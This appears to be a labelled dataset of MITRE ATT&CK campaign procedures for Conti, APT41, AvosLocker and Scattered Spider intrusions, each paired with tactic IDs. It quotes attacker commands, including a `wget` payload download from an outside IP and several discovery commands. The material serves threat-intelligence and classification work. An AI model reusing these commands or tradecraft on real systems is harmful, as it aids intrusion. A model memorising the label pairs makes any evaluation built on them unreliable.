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During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.
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['TA0002:Execution']
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During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.
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['TA0008:Lateral Movement']
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During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.
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['TA0009:Collection']
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During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.
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['TA0007:Discovery']
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During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.
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['TA0002:Execution']
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For C0015, the threat actors used Cobalt Strike and Conti ransomware.
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['TA0042:Resource Development']
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During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.
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['TA0005:Defense Evasion']
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During C0015, the threat actors used `mshta` to execute DLLs.
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['TA0005:Defense Evasion']
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During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.
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['TA0007:Discovery']
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During C0015, the threat actors used Base64-encoded strings.
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['TA0005:Defense Evasion']
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During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.
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['TA0007:Discovery']
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During C0015, the threat actors employed code that used `regsvr32` for execution.
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['TA0005:Defense Evasion']
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During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.
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['TA0011:Command and Control']
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During C0015, the threat actors used RDP to access specific network hosts of interest.
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['TA0008:Lateral Movement']
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During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.
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['TA0007:Discovery']
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During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.
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['TA0005:Defense Evasion']
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For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.
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['TA0001:Initial Access']
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During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.
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['TA0007:Discovery']
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During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.
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['TA0007:Discovery']
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For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.
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['TA0042:Resource Development']
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During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.
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['TA0002:Execution']
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During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.
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['TA0002:Execution']
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During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.
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['TA0002:Execution']
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During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.
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['TA0005:Defense Evasion', 'TA0004:Privilege Escalation']
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During C0017, APT41 hex-encoded PII data prior to exfiltration.
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['TA0009:Collection']
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During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information from victim networks.
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['TA0009:Collection']
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During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.
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['TA0011:Command and Control']
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During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.
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['TA0005:Defense Evasion']
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During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.
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['TA0010:Exfiltration']
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During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.
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['TA0010:Exfiltration']
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During C0017, APT41 used Cloudflare services for data exfiltration.
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['TA0010:Exfiltration']
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During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.
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['TA0001:Initial Access']
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During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table within legitimate Microsoft binaries.
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['TA0005:Defense Evasion', 'TA0003:Persistence', 'TA0004:Privilege Escalation']
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During C0017, APT41 downloaded malicious payloads onto compromised systems.
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['TA0011:Command and Control']
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During C0017, APT41 deployed JScript web shells on compromised systems.
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['TA0002:Execution']
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During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.
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['TA0009:Collection']
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During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.
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['TA0005:Defense Evasion']
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During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.
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['TA0005:Defense Evasion']
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During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.
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['TA0005:Defense Evasion']
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During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.
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['TA0011:Command and Control']
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During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.
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['TA0011:Command and Control']
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During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.
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['TA0002:Execution', 'TA0003:Persistence', 'TA0004:Privilege Escalation']
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During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.
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['TA0006:Credential Access']
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During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.
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['TA0005:Defense Evasion']
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During C0017, APT41 issued `ping -n 1 .split-1+` commands to find the volume serial number of compromised systems.
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['TA0007:Discovery']
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During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.
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['TA0007:Discovery']
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During C0017, APT41 used `whoami` to gather information from victim machines.
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['TA0007:Discovery']
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For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.
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['TA0042:Resource Development']
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During C0017, APT41 ran `wget http://103.224.80.44:8080/kernel` to download malicious payloads.
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['TA0011:Command and Control']
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During C0017, APT41 used the Cloudflare services for C2 communications.
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['TA0011:Command and Control']
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During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.
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['TA0003:Persistence']
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During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.
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['TA0002:Execution']
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During C0018, the threat actors used Base64 to encode their PowerShell scripts.
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['TA0005:Defense Evasion']
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During C0018, the threat actors used AvosLocker ransomware to encrypt files on the compromised network.
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['TA0040:Impact']
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During C0018, the threat actors exploited VMWare Horizon Unified Access Gateways that were vulnerable to several Log4Shell vulnerabilities, including CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832.
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['TA0001:Initial Access']
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During C0018, the threat actors downloaded additional tools, such as Mimikatz and Sliver, as well as Cobalt Strike and AvosLocker ransomware onto the victim network.
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['TA0011:Command and Control']
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During C0018, the threat actors transferred the SoftPerfect Network Scanner and other tools to machines in the network using AnyDesk and PDQ Deploy.
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['TA0008:Lateral Movement']
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During C0018, AvosLocker was disguised using the victim company name as the filename.
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['TA0005:Defense Evasion']
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For C0018, the threat actors renamed a Sliver payload to `vmware_kb.exe`.
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['TA0005:Defense Evasion']
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During C0018, the threat actors used the SoftPerfect Network Scanner for network scanning.
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['TA0007:Discovery']
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During C0018, the threat actors opened a variety of ports, including ports 28035, 32467, 41578, and 46892, to establish RDP connections.
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['TA0011:Command and Control']
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During C0018, the threat actors used encoded PowerShell scripts for execution.
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['TA0002:Execution']
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During C0018, the threat actors used AnyDesk to transfer tools between systems.
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['TA0011:Command and Control']
|
During C0018, the threat actors opened a variety of ports to establish RDP connections, including ports 28035, 32467, 41578, and 46892.
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['TA0008:Lateral Movement']
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During C0018, the threat actors used `rundll32` to run Mimikatz.
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['TA0005:Defense Evasion']
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During C0018, the threat actors used PDQ Deploy to move AvosLocker and tools across the network.
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['TA0002:Execution', 'TA0008:Lateral Movement']
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During C0018, the threat actors ran `nslookup` and Advanced IP Scanner on the target network.
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['TA0007:Discovery']
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During C0018, the threat actors collected `whoami` information via PowerShell scripts.
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['TA0007:Discovery']
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For C0018, the threat actors acquired a variety of open source tools, including Mimikatz, Sliver, SoftPerfect Network Scanner, AnyDesk, and PDQ Deploy.
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['TA0042:Resource Development']
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During C0018, the threat actors used HTTP for C2 communications.
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['TA0011:Command and Control']
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During C0018, the threat actors used WMIC to modify administrative settings on both a local and a remote host, likely as part of the first stages for their lateral movement; they also used WMI Provider Host to execute a variety of encoded PowerShell scripts using the `DownloadString` method.
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['TA0002:Execution']
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During C0021, the threat actors used SSL via TCP port 443 for C2 communications.
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['TA0011:Command and Control']
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During C0021, the threat actors used encoded PowerShell commands.
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['TA0005:Defense Evasion']
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During C0021, the threat actors deobfuscated encoded PowerShell commands including use of the specific string `'FromBase'+0x40+'String'`, in place of `FromBase64String` which is normally used to decode base64.
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['TA0005:Defense Evasion']
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For C0021, the threat actors registered domains for use in C2.
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['TA0042:Resource Development']
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For C0021, the threat actors used legitimate but compromised domains to host malicious payloads.
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['TA0042:Resource Development']
|
For C0021, the threat actors embedded a base64-encoded payload within a LNK file.
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['TA0005:Defense Evasion']
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During C0021, the threat actors downloaded additional tools and files onto victim machines.
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['TA0011:Command and Control']
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During C0021, the threat actors lured users into clicking a malicious link which led to the download of a ZIP archive containing a malicious .LNK file.
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['TA0002:Execution']
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During C0021, the threat actors used TCP for some C2 communications.
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['TA0011:Command and Control']
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During C0021, the threat actors used obfuscated PowerShell to extract an encoded payload from within an .LNK file.
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['TA0002:Execution']
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During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL.
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['TA0005:Defense Evasion']
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During C0021, the threat actors sent phishing emails with unique malicious links, likely for tracking victim clicks.
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['TA0001:Initial Access']
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For C0021, the threat actors used Cobalt Strike configured with a modified variation of the publicly available Pandora Malleable C2 Profile.
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['TA0042:Resource Development']
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For C0021, the threat actors uploaded malware to websites under their control.
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['TA0042:Resource Development']
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During C0021, the threat actors used HTTP for some of their C2 communications.
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['TA0011:Command and Control']
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During C0026, the threat actors used WinRAR to collect documents on targeted systems. The threat actors appeared to only exfiltrate files created after January 1, 2021.
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['TA0009:Collection']
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During C0026, the threat actors split encrypted archives containing stolen files and information into 3MB parts prior to exfiltration.
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['TA0010:Exfiltration']
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During C0026, the threat actors collected documents from compromised hosts.
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['TA0009:Collection']
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For C0026, the threat actors re-registered expired C2 domains previously used for ANDROMEDA malware.
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['TA0042:Resource Development']
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During C0026, the threat actors re-registered a ClouDNS dynamic DNS subdomain which was previously used by ANDROMEDA.
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['TA0011:Command and Control']
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During C0026, the threat actors downloaded malicious payloads onto select compromised hosts.
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['TA0011:Command and Control']
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During C0027, Scattered Spider used aws_consoler to create temporary federated credentials for fake users in order to obfuscate which AWS credential is compromised and enable pivoting from the AWS CLI to console sessions without MFA.
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['TA0003:Persistence', 'TA0004:Privilege Escalation']
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During C0027, Scattered Spider used IAM manipulation to gain persistence and to assume or elevate privileges.
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['TA0003:Persistence', 'TA0004:Privilege Escalation']
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During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and to identify privileged users, along with the email addresses and AD attributes.
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['TA0007:Discovery']
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During C0027, Scattered Spider leveraged compromised credentials from victim users to authenticate to Azure tenants.
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['TA0005:Defense Evasion', 'TA0001:Initial Access', 'TA0003:Persistence', 'TA0004:Privilege Escalation']
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During C0027, Scattered Spider accessed Azure AD to download bulk lists of group members and their Active Directory attributes.
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['TA0007:Discovery']
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During C0027, Scattered Spider used compromised Azure credentials for credential theft activity and lateral movement to on-premises systems.
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['TA0008:Lateral Movement']
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During C0027, Scattered Spider used access to the victim's Azure tenant to create Azure VMs.
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['TA0005:Defense Evasion']
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During C0027, Scattered Spider sent phishing messages via SMS to steal credentials.
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['TA0043:Reconnaissance']
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